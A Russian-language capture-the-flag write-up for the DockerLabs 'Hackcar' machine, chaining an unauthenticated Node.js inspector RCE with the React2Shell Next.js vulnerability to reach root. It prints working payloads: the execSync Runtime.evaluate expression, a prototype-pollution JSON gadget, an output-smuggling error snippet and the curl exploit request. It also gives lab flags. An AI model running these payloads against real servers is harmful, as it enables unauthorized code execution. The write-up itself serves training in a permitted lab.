
Разбор: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell)
Платформа: DockerLabs Сложность: Средняя (более-менее, есть свои заморочки) Цель: От
webuserдоroot, ломая Next.js
Как всегда, сначала главное: посмотреть, что у нас перед носом.
nmap -sC -sV -T4 172.17.0.2
PORT STATE SERVICE VERSION
8080/tcp open http Node.js (Express middleware)
9229/tcp open http ????
Погоди... 9229? Этот порт необычный. И полное сканирование подтверждает, что есть только два порта:
nmap -p- --min-rate 1000 -T4 172.17.0.2
PORT STATE SERVICE
8080/tcp open http-proxy
9229/tcp open unknown
9229 — это типичный порт Node.js inspector (debugger). Если он открыт без защиты, это по сути открытая дверь к выполнению кода. Давай проверим.
curl -s http://172.17.0.2:9229/json
[{
"description": "node.js instance",
"title": "/home/webuser/node_app/app.js",
"webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]
Чёрт. Debugger Node открыт, без аутентификации, и вдобавок сообщает нам, где живёт приложение. Это прямой RCE.
С открытым debugger нам нужно только подключиться к WebSocket и использовать Runtime.evaluate, чтобы выполнить что угодно внутри процесса Node.
Я набросал быстрый скрипт на Python, который вытаскивает URL debugger и выполняет команды через process.mainModule.require('child_process').execSync():
expression = ("process.mainModule.require('child_process')"
f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")
Чтобы не воевать с кавычками, всю команду я отправляю в base64 и декодирую внутри самого процесса. Первый тест:
python3 node_rce.py "id"
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)
RCE как webuser. Машина у нас в руках... или я так думал. Оказалось, что самое интересное было спрятано глубже.
Посмотрим на процессы, чтобы увидеть, что ещё крутится на машине:
ps auxww
root 7 0.0 0.0 sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root 8 0.0 0.0 npm exec next dev -p 3000 -H 127.0.0.1
root 30 0.0 0.0 node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root 42 0.8 2.4 next-server (v15.0.0-rc.1)
Обрати внимание! Есть Next.js версии 15.0.0-rc.1, работающий как ROOT на порту 3000 (только localhost). Это пахнет привилегией... и CVE.
Поскольку он слушает только 127.0.0.1 внутри контейнера, снаружи мы до него не дотянемся. Но у нас есть RCE, так что можем зайти изнутри. Сначала посмотрим, что это:
curl -s http://127.0.0.1:3000/
Появляется "Internal Administration Portal" — внутренний портал администрирования. Всё очень аппетитно.
Флаг user мы нашли быстро:
DL{g2QrDUvg3HiqaWeZBbZa}
А теперь нужно подняться до root через этот Next.js.
Версия — Next.js 15.0.0-rc.1, которая использует React 19, уязвимый к знаменитому React2Shell (CVE-2025-55182): критический RCE (CVSS 10.0) через prototype pollution в парсере RSC (React Server Components / Flight protocol).
Эксплойт — это неправильно сформированный multipart/form-data с заголовком Next-Action, который заставляет парсер React десериализовать отравленный объект, в итоге вызывающий конструктор Function с нашим кодом:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": "<CÓDIGO JS A EJECUTAR>",
"_formData": {"get": "$1:constructor:constructor"}
}
}
То есть: отравляется Chunk.prototype.then, парсер загружает нашу модель, и при разрешении промиса выполняется наш JavaScript в процессе Next.js, который работает как root.
Чтобы вытащить вывод, я использовал режим "redirect": код выполняет команду, делает base64 результата и кладёт его в свойство digest объекта Error, который Next.js возвращает как заголовок:
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;
Финальный запрос:
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
-H 'Next-Action: x' \
-F '0=</tmp/p0.txt' \
-F '1=</tmp/p1.txt'
Сервер отвечает 500 (это нормально, это намеренная ошибка) и в заголовке:
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...
Декодируем:
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
uid=0(root) gid=0(root) groups=0(root)
МЫ ROOT. И флаг:
python3 react2shell.py "cat /root/root.txt"
DL{Z8Gc5NFYMrH3W4vv5ZWa}
nmap
└─ 8080 (web Express, статика, чистый дым)
└─ 9229 (Node.js inspector ОТКРЫТ)
└─ RCE как webuser через Runtime.evaluate
└─ Перечисление: Next.js 15.0.0-rc.1 на 127.0.0.1:3000 как ROOT
└─ CVE-2025-55182 (React2Shell): RCE root
└─ флаг: DL{Z8Gc5NFYMrH3W4vv5ZWa}
Флаги:
| Файл | Флаг |
|---|---|
/home/webuser/user.txt | DL{g2QrDUvg3HiqaWeZBbZa} |
/root/root.txt | DL{Z8Gc5NFYMrH3W4vv5ZWa} |
| # | Уязвимость | CWE | Что нам дала |
|---|---|---|---|
| 1 | Node.js inspector без аутентификации (порт 9229) | CWE-284 | RCE как webuser |
| 2 | Устаревший Next.js 15.0.0-rc.1 (React2Shell, CVE-2025-55182) | CWE-1321 / CWE-502 | RCE как root |
Уроки:
| Инструмент | Использование |
|---|---|
nmap | Разведка портов |
curl | Веб-перечисление и запуск эксплойта |
websocket-client (Python) | Общение с inspector Node |
jadx | Предыдущая машина (не здесь, но мне всё ещё кажется это красивым) |
base64 | Транспортировка payload'ов без проблем с кавычками |
Writeup в образовательных целях. Трогай только те машины, на которые у тебя есть разрешение (DockerLabs, HTB, твоя собственная лаборатория).